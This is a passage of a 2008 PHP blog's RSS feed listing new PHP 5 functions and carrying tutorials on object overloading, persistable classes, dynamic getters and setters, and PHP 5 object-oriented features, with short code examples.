&lt;font color=&quot;#ff6600&quot;&gt;&lt;strong&gt;&lt;u&gt;&lt;em&gt;Arrays:&lt;/em&gt;&lt;/u&gt;&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;
array_combine() - Creates an array by using one array for keys and another for its values array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function&lt;br /&gt;
array_udiff() - Computes the difference of arrays by using a callback function for data comparison &lt;br /&gt;
array_udiff_assoc() - Computes the difference of arrays with additional index check. The data is compared by using a callback function &lt;br /&gt;
array_udiff_uassoc() - Computes the difference of arrays with additional index check. The data is compared by using a callback function. The index check is done by a callback function also &lt;br /&gt;
array_walk_recursive() - Apply a user function recursively to every member of an array &lt;br /&gt;
array_uintersect_assoc() - Computes the intersection of arrays with additional index check. The data is compared by using a callback function &lt;br /&gt;
array_uintersect_uassoc() - Computes the intersection of arrays with additional index check. Both the data and the indexes are compared by using a callback functions &lt;br /&gt;
array_uintersect() - Computes the intersection of arrays. The data is compared by using a callback function &lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;InterBase:&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
ibase_affected_rows() - Return the number of rows that were affected by the previous query &lt;br /&gt;
ibase_backup() - Initiates a backup task in the service manager and returns immediately &lt;br /&gt;
ibase_commit_ret() - Commit a transaction without closing it &lt;br /&gt;
ibase_db_info() - Request statistics about a database &lt;br /&gt;
ibase_drop_db() - Drops a database &lt;br /&gt;
ibase_errcode() - Return an error code &lt;br /&gt;
ibase_free_event_handler() - Cancels a registered event handler &lt;br /&gt;
ibase_gen_id() - Increments the named generator and returns its new value &lt;br /&gt;
ibase_maintain_db() - Execute a maintenance command on the database server &lt;br /&gt;
ibase_name_result() - Assigns a name to a result set &lt;br /&gt;
ibase_num_params() - Return the number of parameters in a prepared query &lt;br /&gt;
ibase_param_info() - Return information about a parameter in a prepared query &lt;br /&gt;
ibase_restore() - Initiates a restore task in the service manager and returns immediately &lt;br /&gt;
ibase_rollback_ret() - Rollback transaction and retain the transaction context &lt;br /&gt;
ibase_server_info() - Request statistics about a database &lt;br /&gt;
ibase_service_attach() - Connect to the service manager &lt;br /&gt;
ibase_service_detach() - Disconnect from the service manager &lt;br /&gt;
ibase_set_event_handler() - Register a callback function to be called when events are posted &lt;br /&gt;
ibase_wait_event() - Wait for an event to be posted by the database &lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;iconv:&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
iconv_mime_decode() - Decodes a MIME header field &lt;br /&gt;
iconv_mime_decode_headers() - Decodes multiple MIME header fields at once &lt;br /&gt;
iconv_mime_encode() - Composes a MIME header field &lt;br /&gt;
iconv_strlen() - Returns the character count of string &lt;br /&gt;
iconv_strpos() - Finds position of first occurrence of a needle within a haystack &lt;br /&gt;
iconv_strrpos() - Finds the last occurrence of a needle within a haystack &lt;br /&gt;
iconv_substr() - Cut out part of a string &lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Streams:&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
stream_copy_to_stream() - Copies data from one stream to another &lt;br /&gt;
stream_get_line() - Gets line from stream resource up to a given delimiter &lt;br /&gt;
stream_socket_accept() - Accept a connection on a socket created by&lt;br /&gt;
stream_socket_server() &lt;br /&gt;
stream_socket_client() - Open Internet or Unix domain socket connection &lt;br /&gt;
stream_socket_get_name() - Retrieve the name of the local or remote sockets &lt;br /&gt;
stream_socket_recvfrom() - Receives data from a socket, connected or not &lt;br /&gt;
stream_socket_sendto() - Sends a message to a socket, whether it is connected or not &lt;br /&gt;
stream_socket_server() - Create an Internet or Unix domain server socket &lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Date and time related:&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
idate() - Format a local time/date as integer &lt;br /&gt;
date_sunset() - Time of sunset for a given day and location &lt;br /&gt;
date_sunrise() - Time of sunrise for a given day and location &lt;br /&gt;
time_nanosleep() - Delay for a number of seconds and nanoseconds &lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Strings:&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
str_split() - Convert a string to an array &lt;br /&gt;
strpbrk() - Search a string for any of a set of characters &lt;br /&gt;
substr_compare() - Binary safe optionally case insensitive comparison of two strings from an offset, up to length characters &lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Other:&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
convert_uudecode() - decode a uuencoded string &lt;br /&gt;
convert_uuencode() - uuencode a string &lt;br /&gt;
curl_copy_handle() - Copy a cURL handle along with all of its preferences &lt;br /&gt;
dba_key_split() - Splits a key in string representation into array representation &lt;br /&gt;
dbase_get_header_info() - Get the header info of a dBase database &lt;br /&gt;
dbx_fetch_row() - Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set &lt;br /&gt;
fbsql_set_password() - Change the password for a given user &lt;br /&gt;
file_put_contents() - Write a string to a file &lt;br /&gt;
ftp_alloc() - Allocates space for a file to be uploaded &lt;br /&gt;
get_declared_interfaces() - Returns an array of all declared interfaces &lt;br /&gt;
get_headers() - Fetches all the headers sent by the server in response to a HTTP request &lt;br /&gt;
headers_list() - Returns a list of response headers sent (or ready to send) &lt;br /&gt;
http_build_query() - Generate URL-encoded query string &lt;br /&gt;
image_type_to_extension() - Get file extension for image-type returned by getimagesize(), exif_read_data(), exif_thumbnail(), exif_imagetype() &lt;br /&gt;
imagefilter() - Applies a filter to an image using custom arguments &lt;br /&gt;
imap_getacl() - Gets the ACL for a given mailbox &lt;br /&gt;
ldap_sasl_bind() - Bind to LDAP directory using SASL &lt;br /&gt;
mb_list_encodings() - Returns an array of all supported encodings &lt;br /&gt;
pcntl_getpriority() - Get the priority of any process &lt;br /&gt;
pcntl_wait() - Waits on or returns the status of a forked child as defined by the waitpid() system call &lt;br /&gt;
pg_version() - Returns an array with client, protocol and server version (when available) &lt;br /&gt;
php_check_syntax() - Check the syntax of the specified file &lt;br /&gt;
php_strip_whitespace() - Return source with stripped comments and whitespace &lt;br /&gt;
proc_nice() - Change the priority of the current process &lt;br /&gt;
pspell_config_data_dir() - Change location of language data files &lt;br /&gt;
pspell_config_dict_dir() - Change location of the main word list &lt;br /&gt;
setrawcookie() - Send a cookie without URL-encoding the value &lt;br /&gt;
scandir() - List files and directories inside the specified path &lt;br /&gt;
snmp_read_mib() - Reads and parses a MIB file into the active MIB tree &lt;br /&gt;
sqlite_fetch_column_types() - Return an array of column types from a particular table&lt;/p&gt;</description>
								         <pubDate>Mon, 25 Aug 2008 18:00:18 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/14/New-Functions-in-PHP-5</guid>
								      </item>								      <item>
								         <title>Dynamic Getter/Setter Methods - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/13/Dynamic-Getter/Setter-Methods---By-PHP-Expert</link>
								         <description>&lt;p&gt;The following code implements &amp;quot;dynamic&amp;quot; getter and setter methods for controlling class properties with the help of method overloading. Again, read the source code. Don't be afraid if you are unable to understand all of it--an explanation follows the code.&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
class DynamicGetterSetter {&lt;br /&gt;
private $name = &amp;quot;Martin Jansen&amp;quot;;&lt;br /&gt;
private $starbucksdrink = &amp;quot;Caramel Cappuccino Swirl&amp;quot;;&lt;br /&gt;
function __call($method, $arguments) {&lt;br /&gt;
$prefix = strtolower(substr($method, 0, 3));&lt;br /&gt;
$property = strtolower(substr($method, 3));&lt;br /&gt;
if (empty($prefix) || empty($property)) {&lt;br /&gt;
return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if ($prefix == &amp;quot;get&amp;quot; &amp;amp;&amp;amp; isset($this-&amp;gt;$property)) {&lt;br /&gt;
return $this-&amp;gt;$property;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if ($prefix == &amp;quot;set&amp;quot;) {&lt;br /&gt;
$this-&amp;gt;$property = $arguments[0];&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$class = new DynamicGetterSetter;&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;Name: &amp;quot; . $class-&amp;gt;getName() . &amp;quot;n&amp;quot;;&lt;br /&gt;
echo &amp;quot;Favourite Starbucks flavour: &amp;quot; . $class-&amp;gt;getStarbucksDrink() . &amp;quot;nn&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$class-&amp;gt;setName(&amp;quot;John Doe&amp;quot;);&lt;br /&gt;
$class-&amp;gt;setStarbucksDrink(&amp;quot;Classic Coffee&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;Name: &amp;quot; . $class-&amp;gt;getName() . &amp;quot;n&amp;quot;;&lt;br /&gt;
echo &amp;quot;Favourite Starbucks flavour: &amp;quot; . $class-&amp;gt;getStarbucksDrink() . &amp;quot;nn&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As you can see, the two class properties $name and $starbucksdrink are both private, which means that nothing can access those properties directly from outside the class. In object-oriented programming, it's common to implement public getter and setter methods for accessing and modifying the values of nonpublic properties. Implementing those methods is a rather monotonous task and, while easy to achieve using copy and paste, still consumes time and energy.&lt;br /&gt;
Method overloading is an easy way to circumvent this task. Instead of implementing getters and setters for every single property, the above code implements only the __call() wildcard method. This means that when calling an undefined getter or setter like setName() or getStarbucksdrink(), PHP does not abort with a fatal error, but instead executes (or delegates to) the magic __call() method.&lt;br /&gt;
Those are the basics, but __call() is more complex.&lt;br /&gt;
&lt;br /&gt;
A look inside __call()&lt;br /&gt;
The first argument of __call() is the name of the original, unfound method (setName, for example). The second one is a one-dimensional, numerically indexed array containing all of the arguments for the original method. Calling an undefined method with two arguments, &amp;quot;Martin&amp;quot; and 42, will result in the following array:&lt;br /&gt;
&lt;br /&gt;
$class-&amp;gt;thisMethodDoesNotExist(&amp;quot;Martin&amp;quot;, 42);&lt;br /&gt;
&lt;br /&gt;
// leads to the second argument of __call():&lt;br /&gt;
Array&lt;br /&gt;
(&lt;br /&gt;
[0] =&amp;gt; Martin&lt;br /&gt;
[1] =&amp;gt; 42&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
Inside __call(), an evaluation takes place if the name of the original method starts with get or set in order to figure out whether the code called a getter or a setter. Additionally, the method looks at the rest of the method name (minus the first three characters), because this string marks the name of the property to which the &amp;quot;virtual&amp;quot; getter or setter refers.&lt;br /&gt;
&lt;br /&gt;
If the method name indicates a getter or setter, the method must either return the value of the corresponding property or set its value to the first argument of the original method. Otherwise it does nothing, continuing the programming execution as if nothing had happened.&lt;br /&gt;
&lt;br /&gt;
The Achieved Goal&lt;br /&gt;
In essence, this is a way that allows code to dynamically call arbitrary getter and setter methods for arbitrary properties. This becomes especially handy in situations such as developing an application prototype in a short period of time: instead of wasting man-hours on implementing getters and setters, developers can focus on modeling the API and getting the application's fundamentals right. Outsourcing __call() into an abstract class even allows you to reuse the code during the development phase of all your future PHP projects!&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Disadvantages&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
&lt;br /&gt;
Where there is light, there is also shadow. Some disadvantages are here too: bigger projects likely use a tool such as phpDocumentor to keep track of the API structure. Using the above trick for dynamic methods, all getter and setter methods will of course not appear in any automatically generated documentation, because the &amp;quot;stupid&amp;quot; generators cannot figure out that __call() is a wildcard for all get* and set* methods.&lt;br /&gt;
Another disadvantage is the fact that code outside of the class has access to every private property. When using real getter and setter methods, it's possible to distinguish between private properties that external code may access and really private properties that are totally invisible from the outside. With method overloading enabled, this distinction is no longer possible, because there are virtual getter and setter methods for everything.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;strong&gt;&lt;em&gt;&lt;u&gt;Conclusion&lt;/u&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;
Congratulations if you've made it here! Now that you are aware of the possibilities that overloading offers, you have something at your fingertips that allows you to save quite a bit of time and work in the early (and probably also later) stages of your future projects. Really, what's better than telling your boss that you've finished the prototype of that next project long before it's due?&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:35:22 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/13/Dynamic-Getter/Setter-Methods---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Persistable Classes - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/12/Persistable-Classes---By-PHP-Expert</link>
								         <description>&lt;p&gt;The following code snippet implements the above-mentioned persistable class in less than 50 lines of PHP code by using property overloading. The term persistable means that the class can represent an element from a data structure while keeping it synchronized with an underlying storage system. This rather scientific explanation means in practice that other code can use the class to select a row from a database table. Directly accessing the class properties during runtime manipulates the elements of this row (by both reading and writing). When the script ends, PHP will take care of writing the updated row data back to the database.&lt;br /&gt;
&lt;br /&gt;
Look through the code now to get a first impression of what is happening. After the code is a walk-through of the relevant parts of the code. At the end, you'll have a solid understanding of property overloading.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// Load the PEAR DB package&lt;br /&gt;
require_once &amp;quot;DB.php&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
class Persistable {&lt;br /&gt;
&lt;br /&gt;
private $data = array();&lt;br /&gt;
private $table = &amp;quot;users&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
public function __construct($user) {&lt;br /&gt;
$this-&amp;gt;dbh = DB::Connect(&amp;quot;mysql://user:password@localhost/database&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$query = &amp;quot;SELECT id, name, email, country FROM &amp;quot; .&lt;br /&gt;
$this-&amp;gt;table . &amp;quot; WHERE name = ?&amp;quot;;&lt;br /&gt;
$this-&amp;gt;data = $this-&amp;gt;dbh-&amp;gt;getRow($query, array($user),&lt;br /&gt;
DB_FETCHMODE_ASSOC);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
public function __get($member) {&lt;br /&gt;
if (isset($this-&amp;gt;data[$member])) {&lt;br /&gt;
return $this-&amp;gt;data[$member];&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
public function __set($member, $value) {&lt;br /&gt;
// The ID of the dataset is read-only&lt;br /&gt;
if ($member == &amp;quot;id&amp;quot;) {&lt;br /&gt;
return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if (isset($this-&amp;gt;data[$member])) {&lt;br /&gt;
$this-&amp;gt;data[$member] = $value;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
public function __destruct() {&lt;br /&gt;
$query = &amp;quot;UPDATE &amp;quot; . $this-&amp;gt;table . &amp;quot; SET name = ?, &lt;br /&gt;
email = ?, country = ? WHERE id = ?&amp;quot;;&lt;br /&gt;
$this-&amp;gt;dbh-&amp;gt;query($query, $this-&amp;gt;name, $this-&amp;gt;email, &lt;br /&gt;
$this-&amp;gt;country, $this-&amp;gt;id);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$class = new Persistable(&amp;quot;Martin Jansen&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$class-&amp;gt;name = &amp;quot;John Doe&amp;quot;;&lt;br /&gt;
$class-&amp;gt;country = &amp;quot;United States&amp;quot;;&lt;br /&gt;
$class-&amp;gt;email = &amp;quot;john@example.com&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The first item that you may have stumbled across is the method __construct(). This is the new constructor method in PHP 5. In the good old days of PHP 4, constructor names matched their classes. That changed with PHP 5. You don't need to know much about the constructor method except that it is called to create an instance of the class; that it takes one argument here; and that it executes a database query based on this argument. The constructor assigns the return value of this query to the class property $data.&lt;br /&gt;
&lt;br /&gt;
Next, the code defines two special methods called __get() and __set(). They are already familiar to you from the introduction: __get() is called when reading the value of an undefined property, and __set() is called when changing the same property's value.&lt;br /&gt;
&lt;br /&gt;
This means that whenever someone reads or writes an undefined property from the persistable class, the special methods manipulate the information in the $data property array instead of changing the class properties directly. (Remember: $data contains the row from the database!)&lt;br /&gt;
&lt;br /&gt;
The last class method is the counterpart of __construct(). It is the destructor method __destruct(). PHP calls destructors during the &amp;quot;script shutdown phase,&amp;quot; which is typically right before the execution of the PHP script finishes. The destructor writes the information from the $data property back into the database. This is what the term synchronization (see above) stands for.&lt;br /&gt;
&lt;br /&gt;
You have surely noticed that the above code uses PEAR's database abstraction layer package. This is solely syntactic sugar--the script of course works the same when using other ways to speak to the database.&lt;br /&gt;
&lt;br /&gt;
If you look closely, you'll notice that the persistable class is limited in its current form. It works only with exactly one database table and thus does not allow the use of more complex data models that employ LEFT JOINs or other fancy database features. The sky's the limit, though; using property overloading in no way limits the flexibility of the database model. With just a bit more code, you can easily use sophisticated features of the database inside the persistable class.&lt;br /&gt;
&lt;br /&gt;
Another little issue is the fact that there is virtually no error handling when the query in the destructor fails. It is in the nature of destructors that it often turns out to be impossible to display an error message in this case, because constructing the HTML markup has usually finished before PHP calls the destructor.&lt;br /&gt;
&lt;br /&gt;
In order to solve this problem, you might rename __destruct() to something such as saveData() and execute the method manually somewhere in the calling script. This doesn't change anything in the concept of persistable classes; it just requires a bit more typing when writing code that uses the class. Alternatively, you can use the error_log() function in the destructor to log the message that belongs to the error in the systemwide error log file.&lt;br /&gt;
That's all the code necessary for the use case of property overloading. Next up is method overloading.&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:35:37 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/12/Persistable-Classes---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Object Overloading in PHP 5</title>
								         <link>http://www.nileshpawar.com/11/Object-Overloading-in-PHP-5</link>
								         <description>&lt;p&gt;A fine implementation of the object-overloading paradigm has found its way into PHP version 5. This article explores the possibilities of the overload methods __call(), __set(), and __get(). After explaining the basic theory of overloading, it dives straight into the topic by using two practical examples: first, implementing persistable classes, and second, figuring out a way to realize dynamic getter and setter methods. If you do not yet know what these terms mean, don't be afraid--it will become clear to you when you see the example code.&lt;br /&gt;
&lt;br /&gt;
Requirements&lt;br /&gt;
Besides being comfortable with PHP 5, you should understand the most basic object-oriented programming terms, such as class, property, method, and constructor. You should also know the semantics of the access modifiers private, protected, and public. If you feel like you don't meet these requirements, you can take a look at numerous introductions to object-oriented programming. For general knowledge, Sun's Object-Oriented Programming Concepts is worth a read. If you're looking for information about PHP's object-oriented syntax, the PHP Manual contains valuable information in Chapter 19, Classes and Objects (PHP 5).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What Is Object Overloading?&lt;br /&gt;
What is this all about? When talking about object overloading in PHP, people distinguish between two types:&lt;br /&gt;
o Method overloading&lt;br /&gt;
o Property overloading&lt;br /&gt;
In the case of method overloading, the code defines a magic class method, __call(), that will act as a wildcard for calls to undefined methods of the corresponding class. This wildcard method will be called only when the class does not contain the method you are trying to access. Without method overloading, the following example will cause PHP to display the error message Fatal error: Call to undefined method ThisWillFail::bar() in/some/directory/example.php on line 9 and abort the program execution:&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
class ThisWillFail {&lt;br /&gt;
public function foo() {&lt;br /&gt;
return &amp;quot;Hello World!&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
$class = new ThisWillFail;&lt;br /&gt;
$class-&amp;gt;bar();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With the help of method overloading, code can catch such calls and handle them gracefully.&lt;br /&gt;
Property overloading works similarly to method overloading. In this case, the class redirects (or even delegates, as some OO buffs might call it) calls to read/write accesses to class properties that do not have explicit definitions in the class body. The special methods here are __set() and __get(). Depending on the error-reporting level (for more information, see David Sklar's excellent ONLamp article PHP Debugging Basics), the PHP interpreter will usually either issue a notice when accessing such an undefined property, or belatedly and silently define the variable. If using property overloading, the interpreter will instead call __set() when setting the value of an undefined property or __get() when accessing the value of such a property.&lt;br /&gt;
&lt;br /&gt;
All things considered, overloading allows for drastically reduced development time in dynamic languages such as PHP.&lt;br /&gt;
&lt;br /&gt;
So much for the theory and the buzzwords. It's time to study some code!&lt;/p&gt;</description>
								         <pubDate>Mon, 25 Aug 2008 17:56:32 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/11/Object-Overloading-in-PHP-5</guid>
								      </item>								      <item>
								         <title>New Object Oriented Features - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/10/New-Object-Oriented-Features---By-PHP-Expert</link>
								         <description>&lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Exception handling&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
PHP 5 adds the ability for the well known try/throw/catch structured exception handling paradigm. You are only allowed to throw objects which inherit from the Exception class.&lt;br /&gt;
&lt;br /&gt;
class SQLException extends Exception {&lt;br /&gt;
public $problem;&lt;br /&gt;
function __construct($problem) {&lt;br /&gt;
$this-&amp;gt;problem = $problem;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
try {&lt;br /&gt;
...&lt;br /&gt;
throw new SQLException(&amp;quot;Couldn't connect to database&amp;quot;);&lt;br /&gt;
...&lt;br /&gt;
} catch (SQLException $e) {&lt;br /&gt;
print &amp;quot;Caught an SQLException with problem $obj-&amp;gt;problem&amp;quot;;&lt;br /&gt;
} catch (Exception $e) {&lt;br /&gt;
print &amp;quot;Caught unrecognized exception&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Currently for backwards compatibility purposes most internal functions do not throw exceptions. However, new extensions are making use of this capability and you can use it in your own source code. Also, similar to the already existing set_error_handler() you may use set_exception_handler() to catch an unhandled exception before the script terminates.&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;foreach with references&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
In PHP 4, you could not iterate through an array and modify its values. PHP 5 supports this by allowing you to mark the foreach() loop with the &amp;amp; (reference) sign, thus making any values you change affect the array you're iterating over.&lt;br /&gt;
foreach ($array as &amp;amp;$value) {&lt;br /&gt;
if ($value === &amp;quot;NULL&amp;quot;) {&lt;br /&gt;
$value = NULL;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;default values for by-reference parameters&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
In PHP 4, default values could only be given to parameters which are passed by-value. Giving default values to by-reference parameters is now supported.&lt;br /&gt;
&lt;br /&gt;
function my_func(&amp;amp;$arg = null) {&lt;br /&gt;
if ($arg === NULL) {&lt;br /&gt;
print '$arg is empty';&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
my_func();&lt;/p&gt;</description>
								         <pubDate>Mon, 25 Aug 2008 17:56:03 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/10/New-Object-Oriented-Features---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>New Object Oriented Features - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/9/New-Object-Oriented-Features---By-PHP-Expert</link>
								         <description>&lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Support for dereferencing objects which are returned from methods.&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
In PHP 4, you could not directly dereference objects which are returned from methods. You would have to first assign the object to a dummy variable and then dereference it.&lt;br /&gt;
&lt;br /&gt;
PHP 4:&lt;br /&gt;
$dummy = $obj-&amp;gt;method();&lt;br /&gt;
$dummy-&amp;gt;method2();&lt;br /&gt;
&lt;br /&gt;
PHP 5:&lt;br /&gt;
$obj-&amp;gt;method()-&amp;gt;method2();&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Iterators&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
&lt;br /&gt;
PHP 5 allows both PHP classes and PHP extension classes to implement an Iterator interface. Once you implement this interface you will be able to iterate instances of the class by using the foreach() language construct.&lt;br /&gt;
&lt;br /&gt;
$obj = new MyIteratorImplementation();&lt;br /&gt;
foreach ($obj as $value) {&lt;br /&gt;
print &amp;quot;$value&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
For a more complete example, please refer to the &amp;quot;Advanced OOP &amp;amp; Design Patterns&amp;quot; chapter.&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;&amp;nbsp;__autoload()&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
Many developers writing object-oriented applications create one PHP source file per-class definition. One of the biggest annoyances is having to write a long list of needed includes at the beginning of each script (one for each class). In PHP 5, this is no longer necessary. You may define an __autoload() function which is automatically called in case you are trying to use a class which hasn't been defined yet. By calling this function the scripting engine is giving a last chance to load the class before PHP bails out with an error.&lt;br /&gt;
&lt;br /&gt;
function __autoload($class_name) {&lt;br /&gt;
include_once($class_name . &amp;quot;php&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$obj = new MyClass1();&lt;br /&gt;
$obj2 = new MyClass2();&lt;/p&gt;</description>
								         <pubDate>Mon, 25 Aug 2008 17:55:05 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/9/New-Object-Oriented-Features---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>New Object Oriented Features - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/8/New-Object-Oriented-Features---By-PHP-Expert</link>
								         <description>&lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Static members&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
Classes definitions can now include static members (properties), accessible via the class. Common usage of static members is in the Singleton pattern.&lt;br /&gt;
&lt;br /&gt;
class Singleton {&lt;br /&gt;
static private $instance = NULL;&lt;br /&gt;
private function __construct() {&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static public function getInstance() {&lt;br /&gt;
if (self::$instance == NULL) {&lt;br /&gt;
self::$instance = new Singleton();&lt;br /&gt;
}&lt;br /&gt;
return self::$instance;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Static methods&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
You can now define methods as static allowing them to be called from non-object context. Static methods don't define the $this variable as they aren't bound to any specific object.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
class MyClass {&lt;br /&gt;
static function helloWorld() {&lt;br /&gt;
print &amp;quot;Hello, world&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
MyClass::helloWorld();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;abstract classes&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
A class may be declared as abstract so as to prevent it from being instantiated. However, you may inherit from an abstract class.&lt;br /&gt;
&lt;br /&gt;
abstract class MyBaseClass {&lt;br /&gt;
function display() {&lt;br /&gt;
print &amp;quot;Default display routine being called&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;abstract methods&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
A method may be declared as abstract, thereby deferring its definition to an inheriting class. A class that includes abstract methods must be declared as abstract.&lt;br /&gt;
&lt;br /&gt;
abstract class MyBaseClass {&lt;br /&gt;
abstract function display();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Class type hints&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
